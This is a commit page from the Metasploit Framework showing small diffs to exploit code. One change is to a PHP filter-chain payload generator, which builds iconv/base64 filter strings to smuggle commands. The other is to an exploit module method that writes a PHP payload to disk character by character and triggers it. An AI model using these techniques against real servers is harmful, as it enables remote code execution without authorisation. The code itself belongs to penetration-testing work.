Skip to content

Commit

Permalink
Responded to comments
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Jan 12, 2024
1 parent 6d8666e commit 5e25a99
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 7 deletions.
12 changes: 6 additions & 6 deletions lib/msf/core/exploit/remote/http/php_filter_chain.rb
Original file line number Diff line number Diff line change
Expand Up @@ -95,14 +95,14 @@ def generate_php_filter_payload(command)
chain = command.encode("UTF-8")
encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=")
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters << "convert.base64-encode|"
filters << "convert.iconv.UTF8.UTF7|"

encoded_chain.reverse.each_char do |c|
filters += CONVERSIONS[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters << CONVERSIONS[c] + "|"
filters << "convert.base64-decode|"
filters << "convert.base64-encode|"
filters << "convert.iconv.UTF8.UTF7|"
end

filters += "convert.base64-decode"
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -121,7 +121,7 @@ def trigger_payload_file
def exploit
print_status('Writing the payload to disk, character by character, please wait...')
# Use double quotes in the payload, not single.
write_to_payload_file(payload.encoded.gsub!("'", '"'))
write_to_payload_file("<?php #{payload.encoded}")
trigger_payload_file
end
end

0 comments on commit 5e25a99

Please sign in to comment.